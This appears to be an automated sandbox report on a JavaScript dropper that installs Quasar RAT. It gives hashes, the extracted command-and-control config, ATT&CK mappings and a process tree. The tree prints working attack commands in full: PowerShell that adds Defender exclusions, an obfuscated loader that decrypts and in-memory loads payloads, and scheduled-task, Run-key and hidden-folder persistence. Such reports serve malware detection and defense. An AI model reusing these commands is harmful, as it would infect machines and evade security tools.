quasar | 2a2683fec863bb9f0e3bcdbffa669e639742b8ef657014bea44f16e846d2dcb6

Analysis

user interaction
yes
max time kernel
59s
max time network
58s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 08:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
mko2.js
Size 3.4MB
Sample260718-j3c2badv2p
SHA256 2a2683fec863bb9f0e3bcdbffa669e639742b8ef657014bea44f16e846d2dcb6
MD5 cac8367a64a991737827938d79f06edb
SHA1 f5eb29119708eae7d3bbb76a1feafbd5e3daf0d1
SHA512 8b8cf74600635a9c6a91a6687f02ca4e0d5f8e9bacc56e5b807e6261ed3dfe13f757e6ab6c49dcc9db1dc2f3e926a9d4c76ce438c265a294dc529eb8a44fbac1
SSDEEP 24576:vHEVMk5T3osvFujPiK6gnLeANeFbLS11qi3qQtub5cuBHjuyG0Wmdh0dvZP8v+z2:2
TLSH
T1E7F54C39E8517C51A6FEC12FE7D6E4A82531BF518A879DC800BC53A21AE35D0FD9680F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

mu88t2.org defense_evasion execution quasar persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

mu88t2.org

mu88t2.org:4782
mu88t2.org:80
mu88t2.org:8080
mu88t2.org:443
mu88t2.org:8443

Mutex

c5d2d708-e66f-4351-b915-e068af7ab273

Attributes

encryption_key
7DB184117F5356211726F6C83149373E39585AB4
install_name
svchost.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logs
reconnect_delay
3000
startup_key
https://mu88t2.org
subdirectory
SubDir

Signatures

Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/6136-74-0x000001DA3C270000-0x000001DA3C594000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4296	powershell.exe
5848	powershell.exe
252	powershell.exe
2724	powershell.exe
2000	powershell.exe
2872	powershell.exe
6136	powershell.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5148	attrib.exe
3280	attrib.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 4 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
5444	cmd.exe
292	cmd.exe
1324	cmd.exe
5516	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows_SettingsManager = "wscript.exe \"C:\\ProgramData\\acwin_manager\\windows_systemManager.vbs\""	reg.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
2520	WScript.exe
2308	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4436	cmd.exe
3128	cmd.exe
2732	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5480	schtasks.exe
5636	schtasks.exe
3412	schtasks.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
5848	powershell.exe
5848	powershell.exe
252	powershell.exe
252	powershell.exe
2000	powershell.exe
2000	powershell.exe
2872	powershell.exe
2872	powershell.exe
2724	powershell.exe
2724	powershell.exe
2724	powershell.exe
4296	powershell.exe
4296	powershell.exe
4296	powershell.exe
6136	powershell.exe
6136	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5848	powershell.exe
Token: SeDebugPrivilege	252	powershell.exe
Token: SeDebugPrivilege	2000	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeIncreaseQuotaPrivilege	2872	powershell.exe
Token: SeSecurityPrivilege	2872	powershell.exe
Token: SeTakeOwnershipPrivilege	2872	powershell.exe
Token: SeLoadDriverPrivilege	2872	powershell.exe
Token: SeSystemProfilePrivilege	2872	powershell.exe
Token: SeSystemtimePrivilege	2872	powershell.exe
Token: SeProfSingleProcessPrivilege	2872	powershell.exe
Token: SeIncBasePriorityPrivilege	2872	powershell.exe
Token: SeCreatePagefilePrivilege	2872	powershell.exe
Token: SeBackupPrivilege	2872	powershell.exe
Token: SeRestorePrivilege	2872	powershell.exe
Token: SeShutdownPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeSystemEnvironmentPrivilege	2872	powershell.exe
Token: SeRemoteShutdownPrivilege	2872	powershell.exe
Token: SeUndockPrivilege	2872	powershell.exe
Token: SeManageVolumePrivilege	2872	powershell.exe
Token: 33	2872	powershell.exe
Token: 34	2872	powershell.exe
Token: 35	2872	powershell.exe
Token: 36	2872	powershell.exe
Token: SeIncreaseQuotaPrivilege	2872	powershell.exe
Token: SeSecurityPrivilege	2872	powershell.exe
Token: SeTakeOwnershipPrivilege	2872	powershell.exe
Token: SeLoadDriverPrivilege	2872	powershell.exe
Token: SeSystemProfilePrivilege	2872	powershell.exe
Token: SeSystemtimePrivilege	2872	powershell.exe
Token: SeProfSingleProcessPrivilege	2872	powershell.exe
Token: SeIncBasePriorityPrivilege	2872	powershell.exe
Token: SeCreatePagefilePrivilege	2872	powershell.exe
Token: SeBackupPrivilege	2872	powershell.exe
Token: SeRestorePrivilege	2872	powershell.exe
Token: SeShutdownPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeSystemEnvironmentPrivilege	2872	powershell.exe
Token: SeRemoteShutdownPrivilege	2872	powershell.exe
Token: SeUndockPrivilege	2872	powershell.exe
Token: SeManageVolumePrivilege	2872	powershell.exe
Token: 33	2872	powershell.exe
Token: 34	2872	powershell.exe
Token: 35	2872	powershell.exe
Token: 36	2872	powershell.exe
Token: SeIncreaseQuotaPrivilege	2872	powershell.exe
Token: SeSecurityPrivilege	2872	powershell.exe
Token: SeTakeOwnershipPrivilege	2872	powershell.exe
Token: SeLoadDriverPrivilege	2872	powershell.exe
Token: SeSystemProfilePrivilege	2872	powershell.exe
Token: SeSystemtimePrivilege	2872	powershell.exe
Token: SeProfSingleProcessPrivilege	2872	powershell.exe
Token: SeIncBasePriorityPrivilege	2872	powershell.exe
Token: SeCreatePagefilePrivilege	2872	powershell.exe
Token: SeBackupPrivilege	2872	powershell.exe
Token: SeRestorePrivilege	2872	powershell.exe
Token: SeShutdownPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeSystemEnvironmentPrivilege	2872	powershell.exe
Token: SeRemoteShutdownPrivilege	2872	powershell.exe
Token: SeUndockPrivilege	2872	powershell.exe
Token: SeManageVolumePrivilege	2872	powershell.exe
Token: 33	2872	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4120 wrote to memory of 4436	4120	wscript.exe	89
PID 4436 wrote to memory of 5444	4436	cmd.exe	91
PID 5444 wrote to memory of 5848	5444	cmd.exe	92
PID 4436 wrote to memory of 292	4436	cmd.exe	93
PID 292 wrote to memory of 252	292	cmd.exe	94
PID 4436 wrote to memory of 3360	4436	cmd.exe	95
PID 3360 wrote to memory of 4572	3360	net.exe	96
PID 4436 wrote to memory of 5380	4436	cmd.exe	97
PID 4436 wrote to memory of 2000	4436	cmd.exe	98
PID 2000 wrote to memory of 2872	2000	powershell.exe	99
PID 2000 wrote to memory of 2520	2000	powershell.exe	102
PID 2520 wrote to memory of 3128	2520	WScript.exe	103
PID 3128 wrote to memory of 1324	3128	cmd.exe	105
PID 1324 wrote to memory of 2724	1324	cmd.exe	106
PID 3128 wrote to memory of 5516	3128	cmd.exe	107
PID 5516 wrote to memory of 4296	5516	cmd.exe	108
PID 3128 wrote to memory of 5420	3128	cmd.exe	109
PID 5420 wrote to memory of 2460	5420	net.exe	110
PID 3128 wrote to memory of 2240	3128	cmd.exe	111
PID 3128 wrote to memory of 6136	3128	cmd.exe	112
PID 4436 wrote to memory of 5480	4436	cmd.exe	113
PID 2308 wrote to memory of 2732	2308	WScript.exe	116
PID 4436 wrote to memory of 4992	4436	cmd.exe	118
PID 4436 wrote to memory of 3280	4436	cmd.exe	119

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3280	attrib.exe
5148	attrib.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\mko2.js
1⤵
- Suspicious use of WriteProcessMemory
PID:4120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ctX.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4436
- - C:\Windows\system32\cmd.exe
    cmd /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'ul 2>&1
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Suspicious use of WriteProcessMemory
    PID:5444
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'ul 2>&1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5848
- - C:\Windows\system32\cmd.exe
    cmd /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\\nul 2>&1
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Suspicious use of WriteProcessMemory
    PID:292
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\\nul 2>&1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:252
- - C:\Windows\system32\net.exe
    net file
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3360
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 file
      4⤵
      PID:4572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fMAic0Hp7rS9LYK2Zz+bS9eJXm2Y1Fa8EvbWTM/MCNo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Owrl35BEE6zVx+vnNyBCHA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $UEGJDRqnAMVQeQCMpFeMtwUnD=New-Object System.IO.MemoryStream(,$param_var); $iknxApGQGkuNTyctWSpQeoghN=New-Object System.IO.MemoryStream; $TDvobyKsguHcPawpZxGiZvgbt=New-Object System.IO.Compression.GZipStream($UEGJDRqnAMVQeQCMpFeMtwUnD, [IO.Compression.CompressionMode]::Decompress); $TDvobyKsguHcPawpZxGiZvgbt.CopyTo($iknxApGQGkuNTyctWSpQeoghN); $TDvobyKsguHcPawpZxGiZvgbt.Dispose(); $UEGJDRqnAMVQeQCMpFeMtwUnD.Dispose(); $iknxApGQGkuNTyctWSpQeoghN.Dispose(); $iknxApGQGkuNTyctWSpQeoghN.ToArray();}function execute_function($param_var,$param2_var){ $xDExzTdgKGMkBFMKuNdvqgSSB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eQAZNxwtVDUfVGBDWfuKexSTy=$xDExzTdgKGMkBFMKuNdvqgSSB.EntryPoint; $eQAZNxwtVDUfVGBDWfuKexSTy.Invoke($null, $param2_var);}$vhwIvCFGlNEBtSTdHuifbxNTw = 'C:\Users\Admin\AppData\Local\Temp\ctX.bat';$host.UI.RawUI.WindowTitle = $vhwIvCFGlNEBtSTdHuifbxNTw;$HZfMahDMUuVshNbabiDJmFqZQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($vhwIvCFGlNEBtSTdHuifbxNTw).Split([Environment]::NewLine);foreach ($ZokjjbIgWBgSGZwCPVayBiXXI in $HZfMahDMUuVshNbabiDJmFqZQ) { if ($ZokjjbIgWBgSGZwCPVayBiXXI.StartsWith('JmmfNbWECNwxOZOsKBcU')) { $yaKfUYtDlNDzTlGbOzyXKAGhe=$ZokjjbIgWBgSGZwCPVayBiXXI.Substring(20); break; }}$payloads_var=[string[]]$yaKfUYtDlNDzTlGbOzyXKAGhe.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:5380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_884_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_884.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2872
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_884.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      Suspicious use of WriteProcessMemory
      PID:2520
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_884.bat" "
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3128
      - C:\Windows\system32\cmd.exe
        
        cmd /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'ul 2>&1
        6⤵
        Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        Suspicious use of WriteProcessMemory
        
        PID:1324
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'ul 2>&1
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2724
      - C:\Windows\system32\cmd.exe
        
        cmd /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\\nul 2>&1
        6⤵
        Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        Suspicious use of WriteProcessMemory
        
        PID:5516
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\\nul 2>&1
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4296
      - C:\Windows\system32\net.exe
        
        net file
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5420
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        7⤵
        
        PID:2460
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fMAic0Hp7rS9LYK2Zz+bS9eJXm2Y1Fa8EvbWTM/MCNo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Owrl35BEE6zVx+vnNyBCHA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $UEGJDRqnAMVQeQCMpFeMtwUnD=New-Object System.IO.MemoryStream(,$param_var); $iknxApGQGkuNTyctWSpQeoghN=New-Object System.IO.MemoryStream; $TDvobyKsguHcPawpZxGiZvgbt=New-Object System.IO.Compression.GZipStream($UEGJDRqnAMVQeQCMpFeMtwUnD, [IO.Compression.CompressionMode]::Decompress); $TDvobyKsguHcPawpZxGiZvgbt.CopyTo($iknxApGQGkuNTyctWSpQeoghN); $TDvobyKsguHcPawpZxGiZvgbt.Dispose(); $UEGJDRqnAMVQeQCMpFeMtwUnD.Dispose(); $iknxApGQGkuNTyctWSpQeoghN.Dispose(); $iknxApGQGkuNTyctWSpQeoghN.ToArray();}function execute_function($param_var,$param2_var){ $xDExzTdgKGMkBFMKuNdvqgSSB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eQAZNxwtVDUfVGBDWfuKexSTy=$xDExzTdgKGMkBFMKuNdvqgSSB.EntryPoint; $eQAZNxwtVDUfVGBDWfuKexSTy.Invoke($null, $param2_var);}$vhwIvCFGlNEBtSTdHuifbxNTw = 'C:\Users\Admin\AppData\Roaming\Windows_Log_884.bat';$host.UI.RawUI.WindowTitle = $vhwIvCFGlNEBtSTdHuifbxNTw;$HZfMahDMUuVshNbabiDJmFqZQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($vhwIvCFGlNEBtSTdHuifbxNTw).Split([Environment]::NewLine);foreach ($ZokjjbIgWBgSGZwCPVayBiXXI in $HZfMahDMUuVshNbabiDJmFqZQ) { if ($ZokjjbIgWBgSGZwCPVayBiXXI.StartsWith('JmmfNbWECNwxOZOsKBcU')) { $yaKfUYtDlNDzTlGbOzyXKAGhe=$ZokjjbIgWBgSGZwCPVayBiXXI.Substring(20); break; }}$payloads_var=[string[]]$yaKfUYtDlNDzTlGbOzyXKAGhe.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:2240
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6136
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "https://mu88t2.org" /sc ONLOGON /tr "C:\Program Files\SubDir\svchost.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5636
        
        C:\Program Files\SubDir\svchost.exe
        
        "C:\Program Files\SubDir\svchost.exe"
        7⤵
        
        PID:5816
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "Windows_SettingsManager" /tr "\"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /sc onlogon /rl highest /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3412
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows_SettingsManager" /t REG_SZ /d "wscript.exe \"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /f
        6⤵
        
        PID:4076
      - C:\Windows\system32\attrib.exe
        
        attrib +s +h C:\ProgramData\acwin_manager
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:5148
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "Windows_SettingsManager" /tr "\"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5480
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows_SettingsManager" /t REG_SZ /d "wscript.exe \"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /f
    3⤵
    - Adds Run key to start application
    PID:4992
- - C:\Windows\system32\attrib.exe
    attrib +s +h C:\ProgramData\acwin_manager
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:3280

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\acwin_manager\windows_systemManager.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:2308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\acwin_manager\ProcessManager.bat"
  2⤵
  - Executes a command shell one-liner
  PID:2732

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

svchost.exe

Path C:\Program Files\SubDir\svchost.exe
Size 444KB
SHA256 d3b4b97c2bf97d70e5655ff4c4ca1d8cef9ded51685cfd764247cfda98ee68df
MD5 909a2eec5534f01dff87b7d47e57bff7
SHA1 bb26646b094923f080fc2f2ba363c4c28b33dc07
SHA512 5b5b632eb93d227f81960916d13dd98c6f9cb0494866ceb324e6146254818f323537c39c2b90abc6496aad4b457c0b9b393301ea51157e9f823bd4cd442371dc
SSDEEP 6144:wCo5Sh1yzMWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:w6pW2KXzJ4pdd3klnnWosPhnzq
TLSH
T1C5A45A876BD412D5EC3EC435C82344520721BCB9D791A7EB9AD8F2390E712D09E3EA67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

windows_systemManager.vbs

Path C:\ProgramData\acwin_manager\windows_systemManager.vbs
Size 133B
SHA256 14c22c0034b1124b05e433dc8c3e910639d9d0f4a83ac60c756b96eee3c23e2a
MD5 a2357033b0d440a11a314e287629b547
SHA1 b588ec60f3a43bfd4c4fac5aca003f7f576cf6db
SHA512 b09abf3aa420784c587259502869f6fcdef7238ff5295b30b9a26abb66651b959468159ef5a93d51ae394957d7ecd06589af9685047014db2076733d026db85e
TLSH
T142C09B11562EA559285FF0D5273044158ED1EF1925B15937875CC92F962B6D11317006
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 ee4d4e5c3861832b7b93b2b1b5e716aaae18653b4d62cd87fd8e842f25f9e15b
MD5 b0f0e31a1957295234b84dc8e5acf134
SHA1 dcc400dae26ee7b8addd0eb733b04fb09544f965
SHA512 fbdc417ff297888ab28383c23f0d7465f65811690436a51fb3be791fcd17a81d3be964f0c8801498cee7514c167b556e1b559df5e96d5d1d9d901358c83dac5a
TLSH
T17C319E33B3CC8993D889413550CDAC1335B786D744AECECFEB8CD6A4A43F595CAA4164
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 28e7d534a1057d5a7aa60ef0dc5d05192a17077c92e286b50867b9c00a3d218b
MD5 cc41615f2b969b478d063c7b09e5eab7
SHA1 46c230f13ef0411c9f66919b9a9bebd8f906777e
SHA512 65ac69fb14f5cf67349d3d49f5ca117b52013e13880652181d0b117630254ac2d52c0a6b67dccd278aa19661c15ed9006a5e62f6a46c1a801a394833af7968f7
TLSH
T18F31AF33B3DC8623D88A4135508DAC3375F586DB45AECDCFE74CD664A03F595CA60164
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4e9379ae885c9cc347a5e74d86d24bbab2a8922017ebf83e3258af2688d2831c
MD5 05006006f463163bc6fd6b61c4a34bfc
SHA1 303217039cd89f9210cefd6a22f9d7c334588409
SHA512 dbb90332400dc203c7804d0c4bc438500521379f74c71530cea9de135de75a1d53c1bf11714faac0d3144ea4b0c8bca85485f4362b60c27455e529b7ca91281f
TLSH
T155218933B3CC8614CC9A413A10CEAC1036B6C7DB809ECEAB7B84D544A42F299CE602A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 e699348ddfc5b35905c7ec8389be3e83bb40e53463b10003f587d9b3fa6cb1d1
MD5 c28897db8a0e8ae51fae3e07fe3c062c
SHA1 a1b855fad9720e1f2078d87b02d8aaea87665494
SHA512 3206d8b17b1b9df394000975149d7ca37e7f4ced7ccd1c1151889363d9f04281cf6bd669dc3c8688e0a05f6ca66c9b7268e2de572abd866d29f7f38f186269c6
TLSH
T1F1116633F3CC86A4DD59403650CEAD1136B7C7CB40DECE9B6B84C155A46F685CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 070e2dc002fee5d6c6ae0611713bb24a9f01d741d964e7f1ece4f61789724a94
MD5 95e9928464a1f3425068f7e64a74060a
SHA1 9bdbd59bea34afd0aebf4d0c3d3cfe0317aa4d57
SHA512 a150525324ebe4a0dc28577f089c1f45ef0902355ecd9d5f10c91d45fe57d44d09c6d133a92c3f32dca0c73b97b259d5ad7ff4316edafa2cb00e38d64e043f06
TLSH
T1E9216833F3DD8654C899413A10CEAC1035B7C7DB40DECEDB6B84D559A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 10e8be7d62cfebc14630b9ad58ee240a3911ba93b13332bf231e4ab92193bac2
MD5 cbf8233cf3891b573ad0f7beb089ac84
SHA1 1a7d5986e4d2084b5b3ff260fe068a50fe93aad4
SHA512 8d1eddf8e8c09807cc8bd12caed5b5cfe046eaea55c20826871b16735606304ab5791d9b32994d9fc29a552d3ed1152e7b3de0a4c1eb758ef00e00d34dd57757
TLSH
